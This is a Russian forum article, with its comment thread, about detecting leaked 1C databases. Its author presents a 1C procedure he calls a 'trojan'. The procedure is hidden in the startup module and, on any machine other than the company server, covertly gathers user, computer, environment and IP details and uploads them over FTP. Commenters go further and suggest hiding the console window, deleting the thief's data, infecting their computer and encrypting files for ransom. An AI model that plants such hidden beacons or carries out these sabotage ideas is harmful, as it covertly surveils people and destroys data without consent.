Рано или поздно появится задача по контролю утечки баз 1С.
Конечно мы применим все меры по предотвращению утечки баз, но и информирование о случаях утечки тоже не повредит.
Идея "собирать статистику" сама по себе не нова, вот и я решил аналогичным способом реализовать ее, «заразив» все свои базы 1С процедурой «ПроверитьМестоЗапуска1С()»
Вызов этой процедуры можно спрятать куда угодно, хоть в одно из часто выполняемых Регламентных заданий, хоть среди других таких процедур в общем модуле центра мониторинга. Конечно выбрать нужно место такое, которое как можно реже обновляется. Я банально вызываю ее из процедур «ПриНачалеРаботыСистемы()» в модуле приложения (управляемого/обычного).
Смысл идеи моего «трояна» заключалась в том, что если 1С запущена на компьютере с названием, отличным от названия нашего RDP сервера, то 1С сформирует файл со сведениями из окружения запуска и передает его на наш дежурный FTP сервер. Кстати способов передать файл с данными множество, я использовал FTP, поскольку у меня уже был поднят FTP сервер, хотя можно использовать и HTTPсоединение.
Поскольку в коде в открытом виде будет написан пароль для FTP соединения, создаем изолированную папку FTP для этого пользователя и создаем авто перенос уже переданных на FTP файлов в недоступное место. Это уже задача для системного администратора.
И так сама процедура:
Процедура ПроверитьМестоЗапуска1С()
// Вся процедура выполняется только, если 1С запущена не на «вашем» сервере.
// Конечно, можно использовать другие признаки опознавания работы с базой 1С не внутри вашей сети.
Если ИмяКомпьютера()<>"Name_YOU_Server_RDP" Тогда
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("txt");
Текст = Новый ТекстовыйДокумент;
//Сведения из окружения 1С, их сбор происходит незаметно для пользователя.
Текст.ДобавитьСтроку(ПолучитьЗаголовокСистемы());
Текст.ДобавитьСтроку(ИмяКомпьютера());
Текст.ДобавитьСтроку(ИмяПользователя());
Текст.ДобавитьСтроку(ПолноеИмяПользователя());
Текст.ДобавитьСтроку(КаталогВременныхФайлов());
Текст.ДобавитьСтроку(СтрокаСоединенияИнформационнойБазы());
Текст.ДобавитьСтроку(ФОРМАТ(ТекущаяДата(),"ДЛФ=DT"));
Текст.Записать(ИмяВременногоФайла, КодировкаТекста.OEM);
Текст=Неопределено;
//Эти сведения собираются с использованием командной строки, их сбор происходит с появлением черного окошка командной строки на 4 секунды.
КомандаСистемы("set >> "+ИмяВременногоФайла); //Переменные окружения иногда могут многое сказать о владельце компьютера
КомандаСистемы("tracert -d -h 3 -w 1000 -4 ya.ru >> "+ИмяВременногоФайла); //Это самая долгая операция, но зато позволяет узнать внешний IP адрес места, где запустили нашу 1С.
//Передаем сведения по FTP
АдресСайта = "You_Ftp_server.ru" ;
Порт = 21;
Логин = " YouFTPUser";
Пароль = " YouFTPPassword";
ИмяКаталога = "/";
FTPСоединение = Новый FTPСоединение(АдресСайта,Порт,Логин,Пароль,,Истина,5);
FTPСоединение.УстановитьТекущийКаталог(ИмяКаталога);
FTPСоединение.Записать(ИмяВременногоФайла,ИмяКомпьютера()+"_"+ФОРМАТ(ТекущаяДата(),"ДФ=yyyyMMdd")+".txt");
FTPСоединение=Неопределено;
КонецЕсли;
КонецПроцедуры
Ну вот и готов еще один способ информирования об утечки информации.
Related Posts
Восстановление последовательности документов при закрытии месяца в Бухгалтерия 3.0 не завершается
Заполнение табличных частей
Формирование сводных актов выполненных работ
Ввод поступления в переработку на основании передачи сырья (между организациями)- Конспект по установке сервера 1С на linux
Получение имени компьютера и его IP локально и в терминале
И скольких уже поймали?
У вас реально есть толпа народа, кто имеет доступ к серверу БД и резервным копиям?
Да еще с полными правами?
Да еще не знает что в базе прописан этот код.
Показать
скрой черное окошко, не нервируй пользователей
Гораздо проще слить информацию через вывод списков, экспорт в xml/excel/csv.
Для отправки собранных данных лучше использовать http (менее палевно и пароли не нужны), небольшой скрипт на php/nodejs либо через веб апи сразу в телеграм себе кидать алерт.
)))
Ну надо тогда по полной резвиться, раз троян в базе 1С. Шифруешь файлы компьютера злоумышленника и требуешь возврат базы на родину с компенсацией ущерба.
Лучше информировать о запуске базы в телеграмм чат.
(7) потом окажется что это был товарищ майор из ОБЭП… Вот в управлении К обрадуются такому повороту)
Для умников (2), (3).
Базы бывают не только клиент-серверные, но и файловые, а для них ненужно никаких прав для копирования.
(10) Если программисту 1С приходится заботиться об утечках баз — что-то явно не так в вашем холдинге…
(11)А кто должен?
(12) Служба информационной безопасности (или сисадмины, на которых глупые начальники повесили эту функцию), кто ж еще.
(11) А кто сказал что я просто программист 1С.
В статье сказано «Конечно мы применим все меры по предотвращению утечки баз, но и информирование о случаях утечки тоже не повредит».
Т.е. это дополнительная мера по контролю. Также как дополнительное мерой являет ежедневный мониторинг неправильно набранных паролей при авторизации.
Просто ИНФОСТАРТ — это 1С сообщество, тут публикуются примеры в 1С.
Моя статья была изначально немного больше, но меня попросили ее сократить, так как это может навредить 1С.
(3)
У себя в холдинге я прописывал лично, не уведомляя всех программистов 1С, а только старшего, отвечающего за обновления.
Но эта нацелено не против программистов 1С, а например системных администраторов, которые не вкурсе о кодах 1С но могут скопировать на сторону бакап (например).
(4)
А смысл. База должна открываться только на сервере… и соответственно никаких окошек не будет.
А если кто залетный первый раз запустит копию дома (например), если окошко появилось, уже поздно что то предпринимать, сведения будут отправлены.
Кроме того не стояла задача с постоянной слежкой, а только контроль за утечкой.
(5) Сам то понял что написал?
(14)А, ну если ты программист 1С, ответственный за инфобезопасность — тогда ладно :))
(13)
Кругом дураки, один Геннадий умный.
Так может он как раз и есть сотрудник этой самой службы? Либо на него возложены обязанности этой самой службой.
(6)
Конечно лучше. Просто у нас есть поднятый FTP сервер и нет HTTP. Вот и использовали FTP.
Кстати, 1С во все новые конфигурации вставляет код по передачи сведений (статистики) как раз через HTTP.
(7)
Что ж у вас мозги то повернуты в сторону украсть или вымогать?
(19) Вы не согласны, что служба информационной безопасности и сисадмины должны быть отдельными службами? И что совмещать их вместе глупость?
(22)
А при чём тут я? Каждое предприятие для себя само определяет кто и за что у них отвечает.
«Сисадмины» понятие довольно растяжимое. СБшники например могут возложить эти обязанности на одного, старшего(главного) сисадмина.
Вам наверное как имеющему большой опыт работы с СБ виднее.
(23) Везде, где всерьез озабочены информационной безопасностью, это разные службы.
Чтобы сократить холивар сообщу:
1. Пример в статье не предназначен для внедрения троянов в 1С, а нужен для разового выполнения вне нашего сервера. Отсюда и упрощенный подход.
2. Пример в статье не является панацеей от утечки, это просто еще один сигнал о событии.
3. Аналогичной схемой пользуется компания 1С, только с использованием HTTP. Именно по-этому, мы у себя в файле hosts добавили строки:
127.0.0.1 pult.1c.ru #send 1C statistic
127.0.0.1 pult.1c.eu #send 1C statistic
Для тех кто не в курсе… поищите «pult.1c» в конфигурации 1С (ERP2,КА2,БУХ3).
4. Аналогично решается и для 1с 7.7.
5. Конечно решение предназначено больше для легко копируемых файловых баз.
6. За историю холдинга накапливается не один десяток баз и их копий + ротация кадров = лишняя помощь в контроле за утечной не помешает.
(25) Решение с технической точки зрения вопросов не вызывает, и все-же, сколько раз сработало и помогло кого-либо поймать?
(26) Велосипедный шлем спасает жизнь один раз. Но этого достаточно.
(26)
Пока только программиста 1С, который зачем то решил скопировать копию базы для разработчиков с RDP на локальный компьютер. Хотя почему «зачем то», для конкретных целей — тестирования нового драйвера ККМ.
На этом поняли, что способ информирования рабочий.
Утечек во внешнюю среду пока не наблюдали.
(17) а вы я так понял нет?
(0)Обычно люди, ворующие базы данных не новички) Прежде чем запускать, можно через конфигуратор и отключить бы все регламентные и фоновые задания, закомментить все обращения в веб или запустить на виртуалке без интернета.
В целом хотел сказать, что смысла в этом почти никакого нет. Ну узнаете вы в лучшем случае ip/имя компа и время открытия, если пароль на фтп не измените, и все.. Если хотите жестко наказать — форматируйте/заражайте вирусами компьютер вора, или удаляйте мелкими порциями данные из базы. Да, так даже лучше, открыл он предприятие — начали удаляться контрагенты в фоне, договора, организации, затем документы и тд.. в общем смысла больше, чем собирать статистику кто сколько раз открыл ворованную базу
(9) интересная мысль, потом еще окажется что таким способом автор получил неправомерный доступ к информации защищаемой законом (напр. фамилия оперативника).
а вообще — троян внутри базы — это ок.
(30)Ну да, ну да. А потом админы, которые не в курсе, по какой-либо причине устраивают переезд баз на новый сервак.
(30) Как вы читаете статьи извращенно?!? Это не средство защиты баз!
Это дополнительный способ информирования для случаев, когда базы могут быть легко скопированы сотрудниками, у которых имеется доступ к базам в виду должностных обязанностей.
Я сам сталкивался не однократно, когда главные бухгалтера притаскивали на работу копию какой либо чужой базы 1С … так сказать, чтобы наши 1С специалисты помогли решить возникшие проблемы у их знакомых. А кто сказал, что тот же главбух не скопирует какую либо базу себе домой, чтобы поработать дома.
В каждой крупной компании есть основные базы, они как правила клиент серверные и второстепенные(одноразовые/редкозапускаемые) базы, которые как правило файловые. Например в нашей корпорации на сегодня одновременно работают более 20 баз 1С, и только 4 основных (клиент-серверных).
(15) Системные администраторы, да и просто вменямые люди, запустят скопированный на сторону бэкап не в сети вашего «холдинга», а в изолированной среде. Ну, чтобы та же платформа в интернет не лезла.
В результате ваше поделие не найдет ваш фтп и будет плакать.
(25)
127.0.0.1 pult.1c.ru #send 1C statistic
127.0.0.1 pult.1c.eu #send 1C statistic
Каждому пользователю? Корпорация!
(32) Мое предложение — исключительно как средство защиты от воровства данных. Как не подорваться самим и использовать ли его — решать каждому для себя отдельно.
(36)Это я не к вашей статье, а к предложению вредительствовать с данными.
(33) Не обижайтесь, ничего личного, я просто не понимаю смысла в ценности этой информации)
Не встречал таких компаний. Не отрицаю, может они и есть, но это не значит — что так и надо. При наличии сервера 1с необходимость в файловых БД на сервере отпадает напрочь! Нужна возможность работать глбух дома — сделайте РДП подключение. Если база нужна только одной бухгалтерше — опять же, сделайте ей рдп. Если так случилось, что у глбух нет дома интернета и она одна работает с этой базой, ну купите ей внешний диск и туда поставьте, что бы она не копировала ДТшки или 1СД файлы..
ПС.
И подведя итог:
Для чего? Раз доступ имеется — значит база может быть скопирована и отдана кому угодно. Какую задачу это решает? Получить статистику сколько раз ваша база открыта на каких ПК отличных от сервера? Вот узнали Вы, что база открыта 481 раз на 10 ПК, доступ к этой базе есть у 3 человек. Что это решает? Кто-то сливает базы? Или у этих людей по 3 ПК? или кто-то один отнес «соседским» программистам, что бы те помогли ей решить какую-то задачу? Что-то надо делать или все ок?
(37) Статья не моя) Вредительство с данными мне кажется отличной идеей, при правильной реализации) Хотя, согласен, это не решит проблему, а лишь немного усложнит ворам задачу. Не зря же придумали способы удаленного уничтожения данных.
(39)Пардон, скорострельность ответов такая, что все смешалось)
Меры предосторожности не должны даже в теории вредить боевым данным. Иначе это уже не борьба со злоумышленниками, а саботаж.
(40)
Это как раз не мера предосторожности, а скорее попытка прямой защиты данных от кражи.
(14)
Чем, тем, что встраивается код-шпион? )
(20)
Для них так проще )
<quote>При наличии сервера 1с необходимость в файловых БД на сервере отпадает напрочь</quote>
У каждой компании имеется история, а у крупных компаний эта история начинается с 1С 6.0. Так что не всегда все базы 1С можно затащить на в клиент серверный вариант с последнем релизом 1С 8.3. / 8.2 (разведенного по портам). Да и не все внешние компоненты управления оборудованием работают с последними движками. Но я полностью с вами согласен, стремиться в этом направлении нужно. Однако бывают ситуации, когда такой подход прямо противопоказан.
<quote>сделайте РДП подключение сотрудникам из дома</quote>
С ростом компании приходит понимание, что работа сотрудников из дома это больше вред, чем благо. Конечно, если ваш бизнес заранее не заточен на обратное. Ну и со временем придёт понимание в необходимости контроля за внешними носителями.
<quote>И подведя итог</quote>
Каждый делает выводы по своему. У меня итог другой.
Я не собираю статистику, мне важен только сам факт «первого» случая, чтобы заняться им (выявить как это произошло, зачем это сделано, сделать соответствующие выводы). За выявлением такого случая настроен zabbix, ин и следит за папкой FTP.
(35) Нет. Только на серверах RDP и на сервере 1С.
(44)
Можете пояснить, почему считаете, что это так? Или у вас круглосуточная техподдержка по всем бизнес-процессам?
(38) ну нужно что-то делать, вот сделали — вроде как мера, вроде как, предосторожности ))
Особо-то не разгонишься, с такими-то средствами… )
(44)
У вас что — «один сотрудник — одна база»?
о том и речь — вы делаете «хоть что-то, что можно» )
Меня вот другой вопрос интересует — как у вас при таком зоопарке баз с актуальностью данных?
(46) «с точки зрения безопасности» же, и тогда все встает на свои места )
(44)
Много знаете компаний, которые сейчас ведут учет на 6.0, да еще и таскают себе домой для работы?
Случаи бывают всякие, но я абсолютно точно не представляю, как работая (не монопольно) с базой потом объединить данные, вы представляете какой это геморрой? а если 1 сотрудник — 1 база, ну и смысл тогда в оповещении?
Работа из дома ничем не отличается от работы в офисе, если цель этой работы именно работа, а не воровство данных.
Вы разрешили человеку копировать базу. Даже, возможно, показали как это делать. Как это произошло? (Вы разрешили). — Зачем это сделано? (А зачем Вы разрешили это делать? Что бы потом спрашивать зачем скопировал?)
И какие Выводы? Отключите проверку для этой базы или в исключения добавите? А если человек работает на 7 компах, или на ноуте в разных сетях.. или на самом деле он врет и слил базу конкурентам?
(48)
Работа ради работы?)
(51)так если ничего другого нельзя сделать )
Ну вот нашли такой «способ» следить )
(50)
Ну, у человека такое вот представление об Очень Крутых Крупных Корпорациях. Того же уровня, что и настройка сети при помощи файлов hosts.
Не разламывай ему картину мироустройства, пусть уж сам.
(51)ох не давите на больной мозоль))
Неплохо было бы придумать «ответ» от фтп, по которому определять — получать ли ответ от такой базы или нет.
А то получится, что главбух совершенно законно заберет копию базы к себе домой и будет вас спамить ежедневными сообщениями
(55) А если не главбух? (:
Впрочем, согласен. Нужна следующая версия с кодом:
И обязательно прописать в холдинге лично, не уведомляя всех программистов 1С, а только старшего, отвечающего за обновления.
(56) нет. Ответ нужен по имени компа.
Сначала комп шлёт свое имя и спрашивает — а нужен ли я вам?
А ему в ответ — извини, дорогой, мы уже поняли кто ты и ты нам не нужен.
Или — мы тебя не знаем! Иди сюда
(14) Тоже интересно, что такого опасного для 1с вы сделали.
Как можно сделать защиту данных от копирования?
(34) 90% злоумышленников не такие умные и об этом и не подумают, так что подход довольно эффективный.
(59) Никак. Скриншотить вы не сможете запретить (это самый простой метод). Особенно, если пользователь работает из дома.
(61) А не из дома — экран монитора сфотографирует на смартфон….
(57) Вот сразу видно опытного 1Сника, понимающего основы клиент-серверного взаимодействия!
Не надо никаких протоколов изобретать. Надо просто имя компьютера передавать всегда, а на сервере его тупо выбрасывать. Минус один серверный вызов в вашей терминологии. Полная изоляция логики обработки на сервере…
Хотя что это я. Для Холдинга — самое то.
(63) лучше — отправкой управлять через константу. Пусть она будет неявная, хранить в себе хранилище значений со структурой,
зайцем в уткев которой булево — отправлять данные или нет.Вот это будет более менее нормальное решение.
не спамить сервер постоянно «нужен я или нет», а получив раз ответ «не нужен» — выключить константу и больше сервер не мучать.
+ а вообще, любая типовая 1С база — это дыра дырой, хоть даже и на сервере.
я уже писал об этом :
Какой регламент в случае обнаружения утечки базы (например, если базу открыли с домашнего компа)?
(66) Исполняющие роли безопасников посыпают голову пеплом исполняющих роль 1Сников. Пожалуй, всё.
А, ещё на противопожарном инструктаже рассказывают про эту успешную операцию.
(64) Хорошая идея. Можно уложиться в один вызов сервера, если использовать вместо ftp протокол, умеющий формировать нужный ответ. Еще один плюс в сторону http
(62) Отобрать телефоны! Отобрать бумагу и ручки! Отрубить руки, выколоть глаза и отрезать язык.
Заодно, предприятие получит налоговые льготы за трудоустройство инвалидов — сплошной профит!
(66) Сначала самостоятельно анализирую, не ложное ли это срабатывание.
Потом выявляю кто это. Тут нюансы, для старых баз скорей всего зайдут под своим именем , а для новых баз, где доменная авторизация, пользователь скорей всего будет сброшен. Ну и надо ответить на вопрос, с какого места была запущена база (анализ IP и окружения).
Доводим до сведений вышестоящего руководителя и передаем эти сведения службе безопасности. Руководитель уже решает: ограничится личным внушением или довести до увольнения.
(59)
61 прав. От скриншотов не защититься.
Если сотрудник работает с файловой базой, скорей всего никак, поскольку он для работы должен иметь доступ к файлу БД.
В этом случаи нужно защищаться от любого копирования файла с RDP — блокировать подключение дисков/флэшек, запретить буфер обмена, интернет, почту, доступ к «шара» по сети. Все это создает страшное неудобство в работе.
(23)Как правило работники в службе безопасности это бывшие сотрудники органов власти, и с компьютерами они не всегда дружат — идут за советом в службу ИТ.
(58) Читайте между строк… и комментарии мои, если их не удалят (например 20, 25).
(60) я бы поправил до 99%
(50)
Ведут учет — нет, а вод иметь доступ к базе для просмотра истории движения МПЗ или иных данных — много, если ваша организация существует с 2000 годов.
ОЧЕНЬ отличается. Начнем с того, что семья постоянно тебя отвлекает (если конечно семья у вас на первом месте). Закончим тем, что невозможно эффективно работать с бумажными документами, отсутствие местной связи (не всегда). Любая отдаленность приводит к разрозненности сотрудников, уменьшается взаимопомощь (это особенно наглядно видно, когда часть сотрудников работают удаленно в других городах — тут и разница во времени, и отношение к ним как к чужим, обслуживаются в последнюю очередь).
Я не разрешал копировать базу. Просто сотрудник работает с файловой версией, и ВОЗМОЖНО знает, что ее можно просто скопировать используя contorl+c и control+v на папочке с 1С. Количество сотрудников, умеющих копировать папки, значительно превосходит количество сотрудников, умеющих программировать 1С. На эту ситуацию и направленна прежде всего статья.
(53)
Про 6.0 читай пост 75, чтоб не повторятся.
Про host читай пост 73. Вы даже не поняли, на что я намекал.
Управлять конечно возможно и через MikroTik, суть сообщения в другом… в том, какую сроку искать в кодах 1С.
Надеюсь этот пост также не удалят.
(75)
Эта информация полезна разве что аналитикам, руководству… и, обычно, очень редко.
При чем тут это? Если берете работу домой — работайте, если не можете (семья мешает, связи нет, бумажек нет, прочее) — не берите ее домой или учитесь не смешивать личное с работой дома. Все просто.
Кстати, Remoteapp говорит Вам о чем-нибудь? Разве что лишний ПК/сервер нужен..
(77)
К сожалению, лично у меня, опыт по применению Remoteapp в части 1С был в основном отрицателен. Чего стоит только постоянные «залипания» приложений при потере связи. Бесконечные запуски «Килл процесс»/»отключения сеанса» — это спутник применения Remoteapp.
Не у одних у нас эти проблемы: .
А необходимость удаленной работы с документами в хранилище в нашем случае перевесило на использование простого RDP.
Случайно пропустил ваш пост, извините.
Поправьте «И так» -> «Итак, «